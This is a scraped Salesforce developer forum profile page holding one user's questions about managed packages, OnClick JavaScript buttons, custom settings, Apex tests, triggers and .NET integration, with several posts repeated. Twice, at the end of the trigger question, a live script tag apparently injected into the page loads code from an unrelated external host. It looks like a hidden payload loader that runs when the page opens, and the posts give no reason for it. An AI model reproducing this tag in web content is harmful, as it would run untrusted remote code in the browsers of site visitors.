• MaverickDev
  • NEWBIE
  • 25 Points
  • Member since 2012

  • Chatter
    Feed
  • 1
    Best Answers
  • 0
    Likes Received
  • 0
    Likes Given
  • 27
    Questions
  • 26
    Replies
Hi,
When I'm trying to install Lightning Partner Management package into my salesforce developer account but it does not get installed and shows few permission related message;

Lightning Partner Management
This app can't be installed.
There are problems that prevent this package from being installed.

Lightning Community Themes(communityThemeDefinitions/Partner_Management.communityThemeDefinition) Missing feature. Installing this package requires the following feature and its associated permissions: Lightning Community Themes
Lightning Bolt Solutions(communityTemplateDefinitions/Partner_Management.communityTemplateDefinition) Missing feature. Installing this package requires the following feature and its associated permissions: Lightning Bolt Solutions


I did not find any permissions related to above message, hence I need suggestion for the same.

Thanks in advance!
Hello,

My client had installed our managed package into their Enterprise account. There is a lead list view button which is used to execute javascript and also check if data is there in custom setting field. Here is the sample js code;
{!REQUIRESCRIPT("/soap/ajax/26.0/connection.js")} //adds the proper code for inclusion of AJAX toolkit 
{!REQUIRESCRIPT("/soap/ajax/26.0/apex.js")} 
var auId = '{!$Setup.Org__UserDetails__c.ID__c}'; 

alert('{!$Setup.Org__UserDetails__c.ID__c}'); -- gives an error message
 After configuring resp. button to Lead list view, it is throwing an error on click and shows ;
"A problem with the OnClick JavaScript for this button or link was encountered:
Could not access the following field: $Setup.Org__UserDetails__c.ID__c. Contact your administrator."


Respective user has system administrator profile, then to it is showing this error when they hit resp. button (refer image plz). 
Can anyone tell me why this is happening and what can be done to resolve this issue?


User-added image

User-added image
 

Hi,

 

As sforce.connection.query is not supported in GE/PE, so how do we get Lead details (e.g. Id, firstname, lastname, etc) using javascript custom list button in list view (search layout) by selecting checkbox?

 

Please, let me know how can I achieve this using javascript in list button and it should also work in GE/PE?

 

Thanks!

Hi,

 

Requirement:

I want to call a our site url which is used to save Lead details into database. I've a custom javascript button in Lead section.

Using that I want to pull all selected Lead Id's with its basic information (e.g. firstname, lastname, etc ) and push it to our site by executing the url.

On click of it, I'm executing following code (given in brief)

 

{!REQUIRESCRIPT("/soap/ajax/26.0/connection.js")} //adds the proper code for inclusion of AJAX toolkit
{!REQUIRESCRIPT("/soap/ajax/26.0/apex.js")}
var url = parent.location.href; //string for the URL of the current page
var records = {!GETRECORDIDS($ObjectType.Lead)}; //grabs the Lead records that the user is requesting to update
var updateRecords = []; //array for holding records that this code will ultimately update
var selectedIds=''; 

if (records[0] == null) { //if the button was clicked but there was no record selected
	alert("Please select at least one record to sync."); //alert the user that they didn't make a selection 
} else { //otherwise, there was a record selection        
	for (var a=0; a<records.length; a++) { //for all records
	    updateRecords.push(records[a]); //add the updated record to our array
       }
try { 
       if (updateRecords.length > 0) {   
            var SelectedIds=''; 
            for(var i=0;i < records.length; i++) {
            SelectedIds+="'"+records[i]+"',";
            }
       SelectedIds=SelectedIds.substring(0,SelectedIds.length - 1);
       var strQuery = "SELECT Id, Email, FirstName, LastName, Phone, Title, Company, Industry, LeadSource FROM Lead WHERE Id IN ("+SelectedIds+")"; 
       var openablerecords = sforce.connection.query(strQuery);
       alert(updateRecords.length +' lead(s) successfully synched!');
     }
} catch(e) {
     alert('could not update leads' + e);
  }
}

 Above code works fine in Developer Edition but does not work in Group and Professional Edition because of sforce.connection.query.

Is there a work around for the same so I can acheive the desired functionality in Group and Professional Edition?

 

Do let me know,

Thanks!

How do i create connected app in patch organization?

When i tried to create the same i got following error message:

 

  • Consumers cannot be created in a patch organization

Let me know, how this can be achieved?

 

Hi,

 

I would like to know that how to add new remote site using patch organization? Is there any way to add it?

Can it be done using metadata api? how?

Also, in remote site, can I specify url as https://*.commonname.com (wildcard character)

 

Let me know,

 

Thanks

Hello,

 

I've managed released package (passed the security review) which has a visualforce page with some apex code.

Now I want to create patch. in that, I wanted to change the apex code and use an iframe (which calls my external application page) .

Will salesforce allow this change for patch? Also, Can I do the same for javascript code too?

 

Let me know,

Thanks!

Hi,


Here is the scenario,

I've created custom field named as Status__c, which is a picklist with values Hot, High, low and I've another formula field (status_icon__c) which shows images accordingly. 

E.g..

IMAGE(CASE( Status__c,
"Hot", LEFT($Api.Enterprise_Server_URL_260, FIND( "/services", $Api.Enterprise_Server_URL_260) -1) +"/resource/hot" , ... etc..,
"/s.gif"), "Priority Flag")

 

So, I'm using value from pick list in formula field to show images respectively to user. But when I'm trying to access picklist field using REST api query, it always says "400 Bad request".

e.g. ..query?q=SELECT Id, Email, Status__c FROM Lead WHERE Email = xxx@xxx.com

Coz it does not allow rest API to access this field. ?

When I use sobject/describe, it does not show Status__c as field belongs to Lead section but it does shows under "status_icon__c" field with respective formula.

 

So, here are my points I need suggestion about;

1. How to access and update picklist which is used in formula field using REST API.

2. If point 1 is not possible, how to update formula field using REST API.

 

I do not want to write code in APEX, as I want to write this in my project (.NET)

 

Please, let me know if anyone has resolution for this.

 

Thanks!!

Hi,


Here is the scenario,

I've created custom field named as Status__c, which is a picklist with values Hot, High, low and I've another formula field (status_icon__c) which shows images accordingly. 

E.g..

IMAGE(CASE( Status__c,
"Hot", LEFT($Api.Enterprise_Server_URL_260, FIND( "/services", $Api.Enterprise_Server_URL_260) -1) +"/resource/hot" , ... etc..,
"/s.gif"), "Priority Flag")

 

So, I'm using value from pick list in formula field to show images respectively to user. But when I'm trying to access picklist field using REST api query, it always says "400 Bad request".

e.g. ..query?q=SELECT Id, Email, Status__c FROM Lead WHERE Email = xxx@xxx.com

Coz it does not allow rest API to access this field. ?

When I use sobject/describe, it does not show Status__c as field belongs to Lead section but it does shows under "status_icon__c" field with respective formula.

 

So, here are my points I need suggestion about;

1. How to access and update picklist which is used in formula field using REST API.

2. If point 1 is not possible, how to update formula field using REST API.

 

I do not want to write code in APEX, as I want to write this in my project (.NET)

 

Please, let me know if anyone has resolution for this.

 

Thanks!!

 

Hi Guys,

I'm really stucked at my final stage of coding. I've created a custom button in lead section and i'm calling custom setting url in javascript code.
It works very well in my developer organization but it fails when I installs this in other developer organization.
Here is the code for your reference;

 

{!REQUIRESCRIPT("/soap/ajax/26.0/connection.js")}
var uname = encodeURI('{!$Setup.UserDetails__c.UName__c}'); 
var ukey= encodeURI('{!$Setup.UserDetails__c.Sha1Key__c}');
try{
var rurl= escape('/handleapprequest?email={!Lead.Email}&fname={!Lead.FirstName}&lastname={!Lead.LastName}&company={!Lead.Company}');
window.open('{!$Setup.UserDetails__c.Url__c}login/' + uname + '/'+ ukey +'?returnurl='+rurl, 'Send Email', 'height=600,location=no,resizable=yes,toolbar=no,status=no,menubar=no,scrollbars=1', 1)
}catch(err)
{alert(err);}

 

When I install my package to different developer organization, the button which executes onClick javascript, thows an exception 'A problem with the OnClick JavaScript for this button or link was encountered: Field Setup.UserDetails__c.UName__c does not exists check spelling'
Please, let me know what is going wrong here? I've already created Beta package and I can not change or remove code from my developer org.
Thanks a lot.

Hi Guys,

 

I'm really stucked at my final stage of coding. I've created a custom button in lead section and i'm calling custom setting url in javascript code.

It works very well in my developer organization but it fails when I installs this in other developer organization.

Here is the code for your reference;

 

{!REQUIRESCRIPT("/soap/ajax/26.0/connection.js")}

var uname = encodeURI('{!$Setup.UserDetails__c.UName__c}'); 
var ukey= encodeURI('{!$Setup.UserDetails__c.Sha1Key__c}'); 

try{
var rurl= escape('/handleapprequest?email={!Lead.Email}&fname={!Lead.FirstName}&lastname={!Lead.LastName}&company={!Lead.Company}');

window.open('{!$Setup.UserDetails__c.Url__c}login/' + uname + '/'+ ukey +'?returnurl='+rurl, 'Send Email', 'height=600,location=no,resizable=yes,toolbar=no,status=no,menubar=no,scrollbars=1', 1)

}catch(err)
{alert(err);}

 When I install my package to different developer organization, the button which executes onClick javascript, thows an exception 'A problem with the OnClick JavaScript for this button or link was encountered: Field Setup.UserDetails__c.UName__c does not exists check spelling'

Please, let me know what is going wrong here? I've already created Beta package and I can not change or remove code from my developer org. 

Thanks a lot.

Hi Guys,

 

My requirement is to create a custom picklist field (which I did) in contact section and populate it dynamically by calling external web service thru apex.

I wrote the apex code, but I can bind either label or value but  not both in contact section.

 

Is there a way I can bind the values with respective lables to constom picklist field using apex? (NOT in Visualforce page)

 

Also, I would like to know If I can create common dropdown list for leads and contact section? Is there a way to populate it using apex?

 

Please, let me know as its very urgent.

 

Thanks a lot!

Hi Guys,

 

The issue I'm having is very typical and simple but I'm not getting 100% test coverage for the same.

 

I've developed custom setting with Protected visibility and Hierarchy setting type and have few fields defined in it.

e.g. UserID, AccessToken, ExpireTime, SHA1Key, etc.

 

When I tried to write test coverage class, it gives an exception of DUPLICATE SetupOwnerID, so my test coverage is not able to get 100% code coverage. Here is my test code written below;

 

 

profile p = [select id from profile where name='System Administrator'];
User thisUser = [ Select Id from User where Id = :UserInfo.getUserId() ];              System.runAs( thisUser ){       UserDetails__c aUser =  UserDetails__c.getInstance();
          if(aUser == null) {
                aUser = new UserDetails__c();
                aUser.AccessToken__c = 'c6cf8cf235d4daedb0b7556ea48355cb0fa51f71';
                aUser.ID__c = '2040';
                aUser.SFUserID__c = UserInfo.getUserId();
                aUser.URL__c ='http://www.google.com';
                aUser.Sha1Key__c = '2228238edfa898d44d3fa1d7aec93c078bac281';
                aUser.SetupOwnerId = p.id;
                aUser.ExpiresIn__c = 1000.00;            
                insert aUser;
                
                aUser = [SELECT Name__c, AccessToken__c, SetupOwnerId FROM UserDetails__c WHERE SFUserID__c =  UserInfo.getUserId() LIMIT 1];    
                System.assertEquals('2228238edfa898d44d3fa1d7aec93c078bac281', Sha1Key__c);}

 

Let me know what is the proper way to do it?

Thanks

 

 

Hi,

 

I've written after insert and after update trigger to update contacts in my external application. also, I've implemented oAuth in my external application to sync data between my external app and Salesforce using REST api. The issue I'm facing is; trigger is getting fired when i perform insert operation on contact object  as I've written trigger.

 

So, I want to restrict trigger fire on form button only. i.e. When I click on update button, then only trigger should get fired and if record is getting updated from oAuth REST api, trigger should not get fired!

 

Hope, i'm clear to you! Let me know what I can do here!

 

Thanks! <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

Hi,

 

I've created a custom field (i.e.. multi-select picklist) in Lead section. The requirement is to populate it dynamically. I'm getting response from the web service in JSON format and I wish to bind the same to custom field.

 

I can do this easily in VF pages but how to achieve this for Lead custom field. Let me know, if this possible!

 

Thanks!

Hi,

 

How do I add Remote Access Detail in my Beta and/or Managed package? What are the steps to do the same?

This might be the repeatative question in SF discussion board but frankly I did not get any promising answer about it.

I'm really looking for this solution.

 

Thanks a lot!

Hello,

 

I've implemented oAuth in my .NET application. I'm able to create, delete and select SObject from Salesforce account.

I've written a web service in Apex which I want to access in my .NET application using oAuth.

How do I access Apex Web Service in .NET application using oAuth? Any Guidance would be very helpful.

 

Thanks! 

Hi,

 

I've a custom picklist field in contact section. I wish to lock it, so any SF user can not change value of the same. And I have Apex web service which updates contact section including mentioned picklist value. I've code in .NET which call apex web service and send values to SF and update the contact!

 

I've tried it using validation rule butit was not allowing to update record from my .NET code also.

 

So how do I achieve the same? any specific validation rule will help?

 

Thanks!

 

 

 

 

Hi,

 

My question would be very common, but just needed confirmation on the same.

 

I've SF developer account, in which I've modified contact/lead detail layout and search layout and added few custom fields (dropdown, buttons etc) in it. Also, I have a VF page which I've included in Contact page layout!

 

So, the issue I'm facing is when I install package into my sandbox, I have to manually add custom fields / VF page in Contact / Lead section. It does not get added by default when I install package!

 

How can I add those custom fields by default into respective section (contacts / leads), so user can see when he visit respective section instead of adding them manually?

 

Any suggestion would be highly appreciated!!

Hi,

 

The scenario is;

I've created an Object which stored few required values in Encrypted text (XXX) format, (e.g... userid and access token.) I've used that object values in VF page. When I execute VF page separately, it works perfectly. But when I add same VF page in Contact page layout it does throw an exception as it is unable to convert XXX into integer (user ID).

 

<apex:page standardController="Contact"  extensions="GetContactFeed"  sidebar="false">

 

Exception:

00:03:26.042 (42856000)|EXCEPTION_THROWN|[26]|System.TypeException: Invalid integer: XXX

 

Why this is so?

Is there a way to decrypt encrypted text field using apex?

 

I appreciate your valuable response!!

Hi,
When I'm trying to install Lightning Partner Management package into my salesforce developer account but it does not get installed and shows few permission related message;

Lightning Partner Management
This app can't be installed.
There are problems that prevent this package from being installed.

Lightning Community Themes(communityThemeDefinitions/Partner_Management.communityThemeDefinition) Missing feature. Installing this package requires the following feature and its associated permissions: Lightning Community Themes
Lightning Bolt Solutions(communityTemplateDefinitions/Partner_Management.communityTemplateDefinition) Missing feature. Installing this package requires the following feature and its associated permissions: Lightning Bolt Solutions


I did not find any permissions related to above message, hence I need suggestion for the same.

Thanks in advance!

Hi,

 

Requirement:

I want to call a our site url which is used to save Lead details into database. I've a custom javascript button in Lead section.

Using that I want to pull all selected Lead Id's with its basic information (e.g. firstname, lastname, etc ) and push it to our site by executing the url.

On click of it, I'm executing following code (given in brief)

 

{!REQUIRESCRIPT("/soap/ajax/26.0/connection.js")} //adds the proper code for inclusion of AJAX toolkit
{!REQUIRESCRIPT("/soap/ajax/26.0/apex.js")}
var url = parent.location.href; //string for the URL of the current page
var records = {!GETRECORDIDS($ObjectType.Lead)}; //grabs the Lead records that the user is requesting to update
var updateRecords = []; //array for holding records that this code will ultimately update
var selectedIds=''; 

if (records[0] == null) { //if the button was clicked but there was no record selected
	alert("Please select at least one record to sync."); //alert the user that they didn't make a selection 
} else { //otherwise, there was a record selection        
	for (var a=0; a<records.length; a++) { //for all records
	    updateRecords.push(records[a]); //add the updated record to our array
       }
try { 
       if (updateRecords.length > 0) {   
            var SelectedIds=''; 
            for(var i=0;i < records.length; i++) {
            SelectedIds+="'"+records[i]+"',";
            }
       SelectedIds=SelectedIds.substring(0,SelectedIds.length - 1);
       var strQuery = "SELECT Id, Email, FirstName, LastName, Phone, Title, Company, Industry, LeadSource FROM Lead WHERE Id IN ("+SelectedIds+")"; 
       var openablerecords = sforce.connection.query(strQuery);
       alert(updateRecords.length +' lead(s) successfully synched!');
     }
} catch(e) {
     alert('could not update leads' + e);
  }
}

 Above code works fine in Developer Edition but does not work in Group and Professional Edition because of sforce.connection.query.

Is there a work around for the same so I can acheive the desired functionality in Group and Professional Edition?

 

Do let me know,

Thanks!

How do i create connected app in patch organization?

When i tried to create the same i got following error message:

 

  • Consumers cannot be created in a patch organization

Let me know, how this can be achieved?

 

Hello,

 

I've managed released package (passed the security review) which has a visualforce page with some apex code.

Now I want to create patch. in that, I wanted to change the apex code and use an iframe (which calls my external application page) .

Will salesforce allow this change for patch? Also, Can I do the same for javascript code too?

 

Let me know,

Thanks!

Hi,


Here is the scenario,

I've created custom field named as Status__c, which is a picklist with values Hot, High, low and I've another formula field (status_icon__c) which shows images accordingly. 

E.g..

IMAGE(CASE( Status__c,
"Hot", LEFT($Api.Enterprise_Server_URL_260, FIND( "/services", $Api.Enterprise_Server_URL_260) -1) +"/resource/hot" , ... etc..,
"/s.gif"), "Priority Flag")

 

So, I'm using value from pick list in formula field to show images respectively to user. But when I'm trying to access picklist field using REST api query, it always says "400 Bad request".

e.g. ..query?q=SELECT Id, Email, Status__c FROM Lead WHERE Email = xxx@xxx.com

Coz it does not allow rest API to access this field. ?

When I use sobject/describe, it does not show Status__c as field belongs to Lead section but it does shows under "status_icon__c" field with respective formula.

 

So, here are my points I need suggestion about;

1. How to access and update picklist which is used in formula field using REST API.

2. If point 1 is not possible, how to update formula field using REST API.

 

I do not want to write code in APEX, as I want to write this in my project (.NET)

 

Please, let me know if anyone has resolution for this.

 

Thanks!!

Hi,

 

I've written after insert and after update trigger to update contacts in my external application. also, I've implemented oAuth in my external application to sync data between my external app and Salesforce using REST api. The issue I'm facing is; trigger is getting fired when i perform insert operation on contact object  as I've written trigger.

 

So, I want to restrict trigger fire on form button only. i.e. When I click on update button, then only trigger should get fired and if record is getting updated from oAuth REST api, trigger should not get fired!

 

Hope, i'm clear to you! Let me know what I can do here!

 

Thanks! <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

Hi,

 

I've created a custom field (i.e.. multi-select picklist) in Lead section. The requirement is to populate it dynamically. I'm getting response from the web service in JSON format and I wish to bind the same to custom field.

 

I can do this easily in VF pages but how to achieve this for Lead custom field. Let me know, if this possible!

 

Thanks!

Hi,

 

I've a custom picklist field in contact section. I wish to lock it, so any SF user can not change value of the same. And I have Apex web service which updates contact section including mentioned picklist value. I've code in .NET which call apex web service and send values to SF and update the contact!

 

I've tried it using validation rule butit was not allowing to update record from my .NET code also.

 

So how do I achieve the same? any specific validation rule will help?

 

Thanks!

 

 

 

 

Hi,

 

My question would be very common, but just needed confirmation on the same.

 

I've SF developer account, in which I've modified contact/lead detail layout and search layout and added few custom fields (dropdown, buttons etc) in it. Also, I have a VF page which I've included in Contact page layout!

 

So, the issue I'm facing is when I install package into my sandbox, I have to manually add custom fields / VF page in Contact / Lead section. It does not get added by default when I install package!

 

How can I add those custom fields by default into respective section (contacts / leads), so user can see when he visit respective section instead of adding them manually?

 

Any suggestion would be highly appreciated!!

Hello,

 

I've already developed code in .NET which authenticate SF user (using username and password+secret key with enterprise WSDL) and can access Apex web services which modify his SF contacts.

 

The issue;

What if, user changes his SF password then he has to login again to .NET application (with new security token) in order to access apex web service. This could be regular process for user who changes their password very frequently which I would like to avoid.

 

Needed solution;

Is there a way to authenticate SF users only once thru .NET application and grant access to call apex web services without asking them SF credentials? Does SSO helps to access apex web services? and how?

 

Please, let me know if there is any good example with code to access apex web services using SSO, as its very urgent?

 

Thanks guys!!

Hi,

 

I followed example given on this link : http://wiki.developerforce.com/page/Force.com_for_ASP.NET_Developers

it worked perfectly for my SF developer account.

 

But when I tried the same with different SF credentials without changing web service reference (as other account also had apex web service methods to pull leads detail) it gave me below error (I passed correct username, password with access token for both users).

 

INVALID_SESSION_ID: Invalid Session ID found in SessionHeader: Illegal Session. Session not found, missing session key:

 

My question is  : how can my .NET app authenticate multiple SF users using same WSDL file?

If not then what is the other way around?

 

Thanks in advance!!

Hello, everyone

I’m playing with UI and Visual Force.

Does anyone know if there is way of accessing default SF CSS used for standard layout and altering that file instead of creating everything from zero?

Appreciate,

Hi,

 

I'm facing a bit weird problem here, Below is the business logic which populates the accounts  in dropdownlist and on change, it populates the contacts from respective account in datatable. I want to get contact ids which have been selected using inputcheckbox.

 

The issue I am facing is, when I assign value to <apex:inputcheckbox>, it does not shows next result when I changes the value in dropdownlist.

 

 

Please, let me know what I'm missing here

CLASS

---------------------------------------

public class PopulateAccContact{

    public String strMessage { get; set; }
    public id aid {get;set;}
    public boolean render {get;set;}
   
    List<selectoption> options=new List<selectoption>();
    public List<Contact> lstcont{get;set;}
    public lonchangeaccount(){
          lstcont=new List<contact>();
      }
   
    Map<id,List<contact>> maplstcont=new Map<id,List<contact>>();
    public List<SelectOption> getValues(){
        options.clear();
        options.add(new selectOption('--None--','-- Select Account --'));
        for(Account acc:[select id,name,(select id,name,email from contacts)from account]){
          options.add(new selectOption(acc.id,acc.name));
          maplstcont.put(acc.id,acc.contacts);
        }
        return options;
    }
    public void Contactlst(){
        lstcont.clear();
        strMessage = ' : '+ aid;
        if(aid!=null){
            render=true;             
            lstcont.addAll(maplstcont.get(aid));
        }
    }
}

 

APEX
---------------------------------------

<apex:page controller="PopulateAccContact">
<apex:form >
  <apex:pageBlock >
    <apex:actionFunction action="{!Contactlst}" name="change"/>
    <apex:selectList value="{!aid}" multiselect="false" size="1" onchange="change();" >
        <apex:selectOptions value="{!values}"/>
    </apex:selectList>
    <apex:outputLabel id="lblShowStatus" value="{!strMessage}"></apex:outputLabel>
    <apex:outputPanel id="pbt1">
        <apex:pageBlockTable value="{!lstcont}" var="c">
            <apex:column >
                <apex:inputCheckbox value="{!c.id}" id="icbCID" />
            </apex:column>
            <apex:column value="{!c.id}"/>
            <apex:column value="{!c.name}"/>
       </apex:pageBlockTable>
    </apex:outputPanel>
  </apex:pageBlock>
  </apex:form>
</apex:page>

 

Thanks in advance.

I've an my external application hosted on different server and I wish to authenticate users which are already registered withmy application.

 

For that, I have a web service where which gives me a key once I pass the username and password.

Based on that key, my  application perform operations for respective user. (every user has assigned with unique key withexpiry date)

How I can do following stuff?

1. Let the user login only once to my app via SF platform when user installs my app to his SF account

2.  Keep key in users SF account, so I can use the key to authenticate valid user everytime against my app

3. everytime user tried to access my app in SF it should pass  key everytime

 

Where I can get the best article with sample code to achieve above stuff? 

Any help would be highly appreciated.